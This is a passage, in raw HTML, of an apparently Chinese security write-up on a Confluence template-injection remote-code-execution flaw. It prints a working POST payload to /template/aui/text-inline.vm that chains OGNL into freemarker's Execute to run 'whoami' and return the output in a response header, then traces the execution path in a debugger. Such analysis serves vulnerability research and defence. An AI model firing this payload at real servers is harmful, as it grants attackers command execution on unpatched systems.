0.544px;background-color: rgb(232, 236, 233);">confluence.cfg.xml</span><span style="font-size: 18px;">中 jdbc 连接的内容。</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">property</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;hibernate.connection.url&#34;</span>&gt;</span>jdbc:mysql://localhost:3306/confluence?sessionVariables=transaction_isolation=&#39;READ-COMMITTED&#39;<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">property</span>&gt;</span></span></code></pre></section><section style="text-align: left;margin-top: 16px;margin-bottom: 0px;"><span style="font-size: 18px;">重新启动，搭建成功。</span></section><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><span style="font-size: 18px;"></span><img class="rich_pages wxw-img" data-backh="280" data-backw="578" data-galleryid="" data-imgfileid="100004785" data-ratio="0.4842592592592593" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3f564cb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsHMmr9rHOWjP5pCibBl3RkicCAALp2GeQRBicR147ibAy6nvGXxAeldC7NQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="letter-spacing: 0.578px;text-wrap: wrap;text-align: left;margin-bottom: 16px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">3. 漏洞复现</span></section><section style="text-align: left;margin-bottom: 16px;"><span style="font-size: 18px;">POST 请求</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/template/aui/text-inline.vm</span><span style="font-size: 18px;">，传入如下回显 payload：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">label=\u0027%<span class="code-snippet__number">2</span>b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%<span class="code-snippet__number">2</span>b\u0027&amp;x=<span class="code-snippet__meta">@org</span>.apache.struts2.ServletActionContext<span class="code-snippet__meta">@getResponse</span>().setHeader(<span class="code-snippet__string">&#39;X-Cmd-Response&#39;</span>,(<span class="code-snippet__keyword">new</span>+freemarker.template.utility.Execute()).exec({<span class="code-snippet__string">&#34;whoami&#34;</span>}))</span></code></pre></section><section style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="326" data-backw="578" data-galleryid="" data-imgfileid="100004786" data-ratio="0.5635635635635635" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="999" src="https://wechat2rss.xlab.app/img-proxy/?k=d12a5591&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsqpP8ibQT5IdFvcjXhhaOAhDWmaYnpibqrEibIGTbfLo6x6sOJaAdkdVtw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="text-align: left;margin-bottom: 16px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">label</span><span style="font-size: 18px;"><strong>参数值解析：</strong></span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">#request[&#39;KEY_velocity.struts2.context&#39;]</span><span style="font-size: 18px;">：从 request 获取 Struts2 中与 Velocity 集成的上下文对象；</span></p><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">.internalGet(&#39;ognl&#39;)</span><span style="font-size: 18px;">：从上下文对象中获取 OGNL 上下文；</span></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 16px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">.findValue(#parameters.x,{})</span><span style="font-size: 18px;">：使用 OGNL 表达式从请求参数中获取</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;">的值。</span></section><p style="text-align: left;"><span style="font-size: 18px;">目的就是对参数</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;">进行表达式解析，所以通过</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;">传入恶意表达式，就可以实现命令执行。</span></p><section style="text-align: left;margin-bottom: 16px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;"><strong>参数值解析：</strong></span></section><section style="text-align: left;margin-bottom: 8px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@org.apache.struts2.ServletActionContext</span><span style="font-size: 18px;">：获取上下文对象；</span></section><section style="text-align: left;margin-bottom: 8px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@getResponse()</span><span style="font-size: 18px;">：调用静态方法 getResponse()；</span></section><section style="text-align: left;margin-bottom: 8px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">setHeader(&#39;X-Cmd-Response&#39;,(new+freemarker.template.utility.Execute()).exec({&#34;whoami&#34;}))</span><span style="font-size: 18px;">：调用 setHeader() 设置响应头；</span></section><section style="text-align: left;margin-bottom: 24px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">(new+freemarker.template.utility.Execute()).exec({&#34;whoami&#34;})</span><span style="font-size: 18px;">：生成一个 Freemarker 模板引擎的 Execute 对象，调用其 exec() 方法执行命令。</span></section><section style="letter-spacing: 0.578px;text-wrap: wrap;text-align: left;margin-bottom: 24px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 漏洞分析</span></section><section style="text-align: left;margin-bottom: 0px;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/template/aui/text-inline.vm</span><span style="font-size: 18px;">文件内容如下，接收</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">$parameters</span><span style="font-size: 18px;">中的参数，并且</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">$parameters.label</span><span style="font-size: 18px;">以字符串的形式传给了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">$stack.findValue</span><span style="font-size: 18px;">。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></section><p style="text-align: center;margin-bottom: 16px;margin-top: 16px;"><img class="rich_pages wxw-img" data-backh="365" data-backw="578" data-galleryid="" data-imgfileid="100004787" data-ratio="0.631083202511774" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="637" src="https://wechat2rss.xlab.app/img-proxy/?k=c41aa718&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsY2W6icp8aAtJSKORcFiaKrqmJqO0Qu0IL1RRHuUGpEFhpqjdwE7NGyNA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">Confluence 的路由表配置在</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">confluence/WEB-INF/classes/com/atlassian/confluence/impl/webapp/UrlPattern.class</span><span style="font-size: 18px;">，能直接访问</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">*.vm</span><span style="font-size: 18px;">；</span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="313" data-backw="574" data-galleryid="" data-imgfileid="100004788" data-ratio="0.5452961672473867" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="574" src="https://wechat2rss.xlab.app/img-proxy/?k=6026c9ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsmQk4ZEGmO1PmOYpPDESOHXKQUEgic2rD8EnHGbKliayaoR7mWdLVpTpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">Servlet 注册在</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">confluence/WEB-INF/classes/com/atlassian/confluence/impl/webapp/Servlets.class</span><span style="font-size: 18px;">，访问</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">*.vm</span><span style="font-size: 18px;">的请求是由 ConfluenceVelocityServlet 处理的。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></section><p style="text-align: center;margin-bottom: 16px;margin-top: 16px;"><img class="rich_pages wxw-img" data-backh="113" data-backw="578" data-galleryid="" data-imgfileid="100004789" data-ratio="0.19537037037037036" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=af953b17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsvUvXT6ia9D3Pw7GoHFsLvxrUYachyLIoO6OY98CalhHnoK8fpPibqib9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">在 ConfluenceVelocityServlet.doPost() 下断点开始跟踪，此时 context 中已经有传入的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">label</span><span style="font-size: 18px;">和</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;">两个参数；</span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="246" data-backw="578" data-galleryid="" data-imgfileid="100004790" data-ratio="0.42685185185185187" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b4f6331f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsHcjTaicnFoMdFicxFjD1tWiaMPF62znHxWqGMEx11HUhkudzF6u3wFkHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">跟进 handleRequest()，获取到当前请求的路径，并且根据</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/template/aui/text-inline.vm</span><span style="font-size: 18px;">名称返回对应的模板对象。</span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="283" data-backw="578" data-galleryid="" data-imgfileid="100004791" data-ratio="0.4888888888888889" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=11527a8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsm8Avl6ib8Vyh78HoxCeT42wEsfDqUlgjsMA4YfYAwL8LBfMN34ZJ0pw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">接着跟进 mergeTemplate() 合并模板和上下文，调用 merge() 将结果输出到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">writer</span><span style="font-size: 18px;">；</span></section><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="254" data-backw="578" data-galleryid="" data-imgfileid="100004792" data-ratio="0.4398148148148148" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=32c38627&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsnrWv9NOibKiauiayyEoYl9iaFdTKzRLMyUY2VUSrjLUHL23fQeq91h9vdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">merge() 中创建了一个内部上下文适配器</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ica</span><span style="font-size: 18px;">，用于在 Velocity 引擎中执行模板。将模板名称和模板对象都放入了这个适配器中，然后调用 render() 渲染模板，结果写到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">writer</span><span style="font-size: 18px;">；</span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="187" data-backw="578" data-galleryid="" data-imgfileid="100004793" data-ratio="0.32314814814814813" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=70b2491c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsdhO9Ans9VKhoLZSyuoaHMYEpocZ96IqZU5r60yibGhnwPvibSESOtwyQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">递归渲染子节点，text-inline.vm 中的第一个节点就是</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">#set( $labelValue = $stack.findValue(&#34;getText(&#39;$parameters.label&#39;)&#34;) )</span><span style="font-size: 18px;">；</span></section><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><span style="font-size: 18px;"></span><img class="rich_pages wxw-img" data-backh="257" data-backw="578" data-galleryid="" data-imgfileid="100004794" data-ratio="0.44351851851851853" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=09ea0733&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsbj1bwEI2dbiacvaUr9L87wfxibb8WB8RG6ibn9qzNhdoT7wib7Zsm4JpjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">跟进，逐步拆分节点，这里获取到参数中的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">label</span><span style="font-size: 18px;">值，放入</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">params</span><span style="font-size: 18px;">数组中，然后获取并调用 OgnlValueStack.findValue()；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="267" data-backw="578" data-galleryid="" data-imgfileid="100004795" data-ratio="0.462037037037037" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3c199f4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsOiaibHy0HPEMymz2s2fD67U8uoEqNEDldnDNwyt4kUd2ctic3WSbFkviag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;margin-top: 16px;margin-bottom: 0px;"><span style="font-size: 18px;">跟进 findValue()，解析并执行表达式。</span></p><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="205" data-backw="578" data-galleryid="" data-imgfileid="100004796" data-ratio="0.35555555555555557" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5895389c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsTYnZNLBzkiamribCLPJpqXNweY4XqLaiauPFGSxNPtXuZepvIzzI0qvQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">拆分计算表达式，到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">findValue(#parameters.x, {  })</span><span style="font-size: 18px;">时，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">result</span><span style="font-size: 18px;">是一个 OgnlTool 对象；</span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="214" data-backw="578" data-galleryid="" data-imgfileid="100004797" data-ratio="0.3712962962962963" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8bcc591f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsPoicMwk590PwulyMWSErT8NQ7CVOr89sM8om08Z9hP2cyItITibybfJg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">继续拆分计算，获取</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;">的值。</span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="179" data-backw="578" data-galleryid="" data-imgfileid="100004798" data-ratio="0.30925925925925923" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=31fe2260&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsfPgT9DgsndlmicSaROd3lsswuemibJo1ObhiaROCvgBrX7n0UaPGJCmFw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;margin-top: 16px;margin-bottom: 0px;"><span style="font-size: 18px;">返回</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;">的值；</span></p><section style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><span style="font-size: 18px;"></span><img class="rich_pages wxw-img" data-backh="231" data-backw="578" data-galleryid="" data-imgfileid="100004799" data-ratio="0.4" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0060e994&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsdvehIuTPKBraLIhyDia6sKKLJockOMtyZsrjZTBrTJ74ofnR1ibNTTvw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">回到 ASTMethod.getValueBody()，此时的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">args</span><span style="font-size: 18px;">就是</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;">的值，接着调用 OgnlTool.findValue() 方法。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="277" data-backw="578" data-galleryid="" data-imgfileid="100004800" data-ratio="0.47962962962962963" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7e0aa85c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfs6PicXaU3BOg38PPMWwqTd8fkz1bunlbbB3uibicB7DmzCl8FLQLKmTAUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">跟进 OgnlTool.findValue() 方法，就开始对</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">x</span><span style="font-size: 18px;">表达式进行解析了，继续拆分计算；</span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="273" data-backw="578" data-galleryid="" data-imgfileid="100004801" data-ratio="0.47314814814814815" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c1cfff4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfstBeQicGUuP1vN76DSkD9N6Cqgt6aCjiaQGibla7iarVvYxHfLv6d9F4t7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><span style="font-size: 18px;">获取到 Execute 对象；</span></p><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="242" data-backw="578" data-galleryid="" data-imgfileid="100004802" data-ratio="0.41920152091254753" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1052" src="https://wechat2rss.xlab.app/img-proxy/?k=1342670c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsbbricSicPBPYUAQrvUe2rVQx6YkttAyK2iaicGQYNsaVwDbtvkoQMULkcg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">调用 exec() 方法，带入</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">whoami</span><span style="font-size: 18px;">参数；</span></section><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><span style="font-size: 18px;"></span><img class="rich_pages wxw-img" data-backh="294" data-backw="578" data-galleryid="" data-imgfileid="100004803" data-ratio="0.5092592592592593" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0afaf978&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsyLR7xLrs9adttgLTKkkIRbAefT9yczn6TmZC3x9YGIwLt3xvUY2vpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">在这执行命令。</span></section><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><span style="font-size: 18px;"></span><img class="rich_pages wxw-img" data-backh="272" data-backw="578" data-galleryid="" data-imgfileid="100004805" data-ratio="0.4701570680628272" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="955" src="https://wechat2rss.xlab.app/img-proxy/?k=01e254c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfss3sicLpRwcMc9eap7BYB9huIAia6ZtsG0v4Viaic4z8E0rI3btFF9mF8TQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">然后将结果返回，调用 setHeader() 方法将结果输出到响应头的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">X-Cmd-Response</span><span style="font-size: 18px;">字段中。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="373" data-backw="578" data-galleryid="" data-imgfileid="100004806" data-ratio="0.6459923664122137" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1048" src="https://wechat2rss.xlab.app/img-proxy/?k=fa33a270&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfs3rYSzMluKjeUXIqnj3HgQxR2LVIP8zI80uWYiaESFMeriaLfqAA9vFXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">整体看一下 AST 语法树结构，就是一层一层节点的递归解析。</span></section><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="527" data-backw="578" data-galleryid="" data-imgfileid="100004807" data-ratio="0.9119718309859155" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="852" src="https://wechat2rss.xlab.app/img-proxy/?k=4fdf87f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfs0MTSia7OVlbYN4LiaDCGEFVrW8vuwQZkIblOoXQ3ricOzibutvviaWr78bA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="351" data-backw="578" data-galleryid="" data-imgfileid="100004808" data-ratio="0.6074074074074074" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" 